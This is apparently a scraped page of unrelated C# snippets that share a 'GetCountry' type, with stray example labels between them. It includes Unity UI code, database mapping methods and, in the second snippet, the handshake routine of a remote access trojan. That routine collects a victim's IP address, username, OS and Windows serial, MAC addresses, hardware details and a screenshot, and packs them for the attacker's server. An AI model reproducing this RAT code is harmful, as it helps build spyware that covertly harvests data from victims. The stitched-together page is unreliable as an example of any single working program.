private void ReadAllCountries(JsonData data)
    {
        for (int i = 0; i < data["getData"].Count; i++)
        {
            GetCountry getCountry = new GetCountry();

            getCountry.countryCode = data["getData"][i]["countryCode"].ToString();
            getCountry.CountryName = data["getData"][i]["countryName"].ToString();
            getCountry.countryFlag = data["getData"][i]["countryFlag"].ToString();

            GameObject sc = Instantiate(CountryPrefeb, prefebParent.transform);
            sc.GetComponent <SelectCountry>().countryName.text = getCountry.CountryName;
            sc.GetComponent <SelectCountry>().countryURL       = getCountry.countryFlag;
            sc.GetComponent <SelectCountry>().countryID        = data["getData"][i]["countryCode"].ToString();
            allCountries.Add(getCountry);
        }
    }
        protected internal override void Write()
        {
            WriteByte(0); //Packet Id
            WriteString("Client");
            WriteString(GetCountry.Country());
            WriteBytes(Dns.GetHostByName(Dns.GetHostName()).AddressList[0].GetAddressBytes());
            WriteString(WindowsIdentity.GetCurrent().Name.Split('\\')[1]);
            WriteString(WMI.ReadString("CSName", "CIM_OperatingSystem", null));
            WriteString(WMI.ReadString("Caption", "CIM_OperatingSystem", null));
            WriteInteger(WMI.ReadInteger("BuildNumber", "CIM_OperatingSystem", null));
            WriteString(WMI.ReadString("OSArchitecture", "CIM_OperatingSystem", null));
            WriteString(WMI.ReadString("CSDVersion", "CIM_OperatingSystem", null));
            WriteString(WMI.ReadString("RegisteredUser", "CIM_OperatingSystem", null));
            WriteString(WinSerial.GetSerial());
            WriteString(WMI.ReadString("SystemDirectory", "CIM_OperatingSystem", null));
            WriteString(WMI.ReadString("SystemDrive", "CIM_OperatingSystem", null) + "\\");
            WriteString(string.Format("{0} GB", WMI.ReadInteger("TotalVisibleMemorySize", "CIM_OperatingSystem", null) / 1000000));
            WriteString(WMI.ReadString("Name", "CIM_Processor", null));

            string MacAddress = "";

            try
            {
                ManagementObjectSearcher objOS = default(ManagementObjectSearcher);
                objOS = new ManagementObjectSearcher("select MACAddress, IPEnabled from Win32_NetworkAdapterConfiguration");
                foreach (ManagementBaseObject objMgmt in objOS.Get())
                {
                    if (objMgmt["IPEnabled"].ToString() == "True")
                    {
                        MacAddress += objMgmt["MACAddress"].ToString() + ", ";
                    }
                }
            }catch {}

            WriteString(MacAddress);
            WriteString(Program.RatVersion);
            WriteBytes(BitmapToBytes(ScreenCapture.resizeImage(ScreenCapture.CaptureScreen(), new Size(120, 120))));
            WriteShort((short)(Screen.PrimaryScreen.Bounds.Width));
            WriteShort((short)(Screen.PrimaryScreen.Bounds.Height));
        }
Example #3
0
        public async Task<GetCountry> GetCountryForEdit(EntityDto input)
        {

            var datas = UserManager.Users.ToList();

            foreach (var data in datas)
            {
                if (data.ProfilePictureId != null)
                {
                    try
                    {
                        var files = await _binaryObjectManager.GetOrNullAsync((Guid)data.ProfilePictureId);
                        byte[] bytes = new byte[0];
                        bytes = files.Bytes;
                        var tempFileName = "userProfileImage_" + data.Id + ".jpg";

                        AppFileHelper.DeleteFilesInFolderIfExists(_appFolders.ProfilePath, tempFileName);

                        var tempFilePath = Path.Combine(_appFolders.ProfilePath, tempFileName);

                        System.IO.File.WriteAllBytes(tempFilePath, bytes);
                    }
                    catch (Exception ex)
                    {

                    }

                }
            }
            var output = new GetCountry
            {
            };

            var persion = _countryRepository
                .GetAll().Where(p => p.Id == input.Id).FirstOrDefault();

            output.Countrys = persion.MapTo<CountryListDto>();
            return output;
        }
Example #4
0
        public IList <CountryDto> getCountryList()
        {
            GetCountry xyz = new GetCountry();

            return(xyz.GetAllCountry());
        }
Example #5
0
        public NotificationMOM GetNotificationList_Mom(Search_MoM obj)
        {
            NotificationMOM NotificationMoMList = new NotificationMOM();

            MOMDataManager objDM = new MOMDataManager();

            DataSet ds = objDM.GetNotificationListForMom(obj);

            if (ds != null)
            {
                int tblIndex = -1;

                #region "Notifications List"
                tblIndex++;
                if (ds.Tables.Count > tblIndex && ds.Tables[tblIndex] != null && ds.Tables[tblIndex].Rows.Count > 0)
                {
                    List <Notification_Mom> NotificationList = new List <Notification_Mom>();
                    int i = 1;
                    foreach (DataRow dr in ds.Tables[tblIndex].Rows)
                    {
                        Notification_Mom objNotification = new Notification_Mom();
                        objNotification.ItemNumber          = i;
                        objNotification.NotificationId      = Convert.ToInt64(dr["NotificationId"]);
                        objNotification.Title               = Convert.ToString(dr["Title"]);
                        objNotification.NotificationNumber  = Convert.ToString(dr["NotificationNumber"]);
                        objNotification.Country             = Convert.ToString(dr["Country"]);
                        objNotification.SendResponseBy      = Convert.ToString(dr["SendResponseBy"]);
                        objNotification.FinalDateofComments = Convert.ToString(dr["FinalDateOfComment"]);
                        objNotification.Description         = Convert.ToString(dr["Description"]);
                        objNotification.MeetingNote         = Convert.ToString(dr["MeetingNote"]);
                        objNotification.NotificationGroup   = Convert.ToString(dr["NotificationGroup"]);
                        i++;
                        NotificationList.Add(objNotification);
                    }
                    NotificationMoMList.Notification_MomList = NotificationList;
                }
                #endregion

                #region "Country List"
                tblIndex++;
                if (ds.Tables.Count > tblIndex && ds.Tables[tblIndex] != null && ds.Tables[tblIndex].Rows.Count > 0)
                {
                    int i = 1;
                    List <GetCountry> CountryList = new List <GetCountry>();
                    foreach (DataRow dr in ds.Tables[tblIndex].Rows)
                    {
                        GetCountry objCountry = new GetCountry();
                        objCountry.CountryId = Convert.ToInt32(dr["CountryId"]);
                        objCountry.Country   = Convert.ToString(dr["Country"]);
                        i++;
                        CountryList.Add(objCountry);
                    }
                    NotificationMoMList.CountryList = CountryList;
                }
                #endregion

                #region "Notification Process Dots Color & Tooltip Text"
                tblIndex++;
                if (ds.Tables.Count > tblIndex && ds.Tables[tblIndex] != null && ds.Tables[tblIndex].Rows.Count > 0)
                {
                    List <BusinessObjects.Notification.NotificationProcessDot> NPSList = new List <BusinessObjects.Notification.NotificationProcessDot>();
                    foreach (DataRow dr in ds.Tables[tblIndex].Rows)
                    {
                        BusinessObjects.Notification.NotificationProcessDot objNPS = new BusinessObjects.Notification.NotificationProcessDot();
                        objNPS.NotificationId = Convert.ToInt64(dr["NotificationId"]);
                        objNPS.ColorCode      = Convert.ToString(dr["ColorCode"]);
                        objNPS.TooltipText    = Convert.ToString(dr["TooltipText"]);
                        objNPS.Sequence       = Convert.ToInt32(dr["Sequence"]);
                        NPSList.Add(objNPS);
                    }
                    NotificationMoMList.NotificationProcessDots = NPSList;
                }
                #endregion
            }
            return(NotificationMoMList);
        }